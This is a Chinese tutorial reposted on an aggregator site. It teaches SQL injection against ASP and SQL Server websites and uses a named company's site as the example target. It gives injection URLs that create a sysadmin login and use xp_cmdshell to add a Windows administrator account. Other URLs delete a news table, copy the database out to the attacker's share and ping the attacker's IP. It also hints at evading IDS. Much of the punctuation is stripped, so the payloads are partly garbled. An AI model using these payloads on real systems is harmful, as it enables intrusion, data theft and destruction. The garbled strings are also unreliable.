知识大全 SQL数据库的一些攻击
Posted 数据库
篇首语:千磨万击还坚劲,任尔东西南北风。本文由小常识网(cha138.com)小编为大家整理,主要介绍了知识大全 SQL数据库的一些攻击相关的知识,希望对你有一定的参考价值。
SQL数据库的一些攻击 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!
关于数据库的简单入侵和无赖破坏 以天融信做例子
对于国内外的很多新闻 BBS和电子商务网站都采用ASP+SQL设计 而写 ASP的程序员很多(有很多刚刚毕业的) 所以 ASP+SQL的攻击成功率也比较高 这类攻击方法与NT的版本和SQL的版本没有多大的关系 也没有相应的补丁 因为漏洞是程序员自己造成的 而且大多数讲解ASP编程的书上 源代码例子就有这个漏洞存在 其实只是一些合法的ASP对SQL的请求 就留下后患无穷! 这种攻击方法最早源于 or = 的漏洞(我们暂且称其为漏洞) 这个漏洞的原理我想大家因该都知道了 那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户) 但是这个方法的限制很大 首先ASP使用的SQL Server账号是个管理员 其次请求的提交变量在整个SQL语句的最后 因为有一些程序员采用SELECT * FROM news WHERE id= AND topic= AND 这种方法请求数据库 那么如果还用以上的例子就会 news asp?id= ;exec sp_addlogin hax 变成SELECT * FROM news WHERE id= ;exec sp_addlogin hax AND topic= AND 整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在 语法错误 你的sp_addlogin自然也不能正常运行了 因此试试看下面这个方 法 news asp?id= ;exec sp_addlogin hax; 后面的 符号把sp_addlogin后的判断语句变成了注释 这样就不会有语法错误了 sp_addlogin正常执行! 那么我们连一起来用吧 news asp?id= ;exec master dbo sp_addlogin hax; news asp?id= ;exec master dbo sp_password null hax hax; news asp?id= ;exec master dbo sp_addsrvrolemember sysadmin hax; news asp?id= ;exec master dbo xp_cmdshell net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add ; news asp?id= ;exec master dbo xp_cmdshell net localgroup administrators hax /add ; 这样 你在他的数据库和系统内都留下了hax管理员账号了 当然 前提条件是ASP用管理员账号 所以虚拟空间大家就别试了 不会存在这个漏洞的 以后我们会讨论 如果对方的ASP不是用SQL管理员账号 我们如何入侵 当然也会涉及到 端口的入侵 当然大家可以试试看在id= 后面加上一个 符号 主要看对方的ASP怎么写了 再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做 比如天融信的主页 有新闻内容 如下 // talentit cn/news/news asp?newid= 大家可以试试看// talentit cn/news/news asp?newid= ;select ; 呵呵 报语法错误 select 错误 显而易见 天融新的ASP在newid变量后面用 号结束 那么试试看// talentit cn/news/news asp?newid= ;delete news; 哈哈 我想只要表名猜对了 新闻库就被删了
通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner 至少对于这个库有很高的管理权限 但是我们不知道库名该怎么?看看db_name()函数吧 打开你的query analyzer 看看print db_name() 呵呵 当前的数据库名就出来了 以次类推 如下 declare @a sysname;set @a=db_name();backup database @a to disk= 你的IP你的共享目录bak dat name= test ; 呵呵 他的当前数据库就备份到你的硬盘上了 接下来要做的大家心里都明白了吧 同理 这个方法可以找到对方的SQL的IP 先装一个防火墙 打开ICMP和 TCP和 TCP的警告提示 然后试试看news asp?id= ;exec master dbo xp_cmdshell ping 你的IP 如果防火墙提示有人ping你 那么因该可以肯定对方的ASP用的是SQL的管理员权限 同时也确定了对方的SQL Server的准确位置 因为很多大一点的网站考虑性能 会吧web服务和数据库分开 当对方打上了补丁看不到源代码时 我想只有这个方法能很快的定位对方的SQL Server的位置了 那么 如果对方ASP没有SQL管理员权限 我们就不能调用xp_cmdshell了 该怎么办? 别着急 试试看这个news asp?id= ;declare @a;set @a=db_name();backup database @a to disk= 你的IP你的共享目录bak dat name= test ; 呵呵 你的防火墙该发出警告了 有人连接你的 或 (win 端口了 这样 对方的SQL的ip一样也可以暴露 那么如果对方连某个数据库的owner也不是的话 我们该怎么办?下次我会告诉大家一个更好的办法 其实backuo database到你的硬盘还是有点夸张了 如果对方数据库很庞大 你又是拨号上网 呵呵 劝你别试了 很难成功传输的 下次我们还会谈到如何骗过IDS执行ASP+SQL入侵 目前有些好的IDS已经开始监视xp_cmdshell这些关键字了 所有以上url希望大家通过vbscript提交 因为浏览器的地址栏会屏蔽一些特殊字符 这样你的命令就不能完整传输了 window location herf=URL
cha138/Article/program/SQL/201311/16369相关参考
SQLServer数据库的攻击分析 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! SQL数据库的
SQL注入防御:用三种策略应对SQL注入攻击[2] 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!
SQL注入防御:用三种策略应对SQL注入攻击[1] 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!
JSP如何防范SQL注入攻击 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 上周给别人做了个网站
关于JSP防范SQL注入攻击 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 上周给别人做了个网站
SQL注入攻击的原理及其防范措施 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! ASP编程门槛很
利用instr()函数防止SQL注入攻击[2] 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!&nb
利用instr()函数防止SQL注入攻击[1] 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!&nb
在PHP中全面阻止SQL注入式攻击 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 在本系列文章中
ASP.NET中如何防范SQL注入式攻击 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 一什么是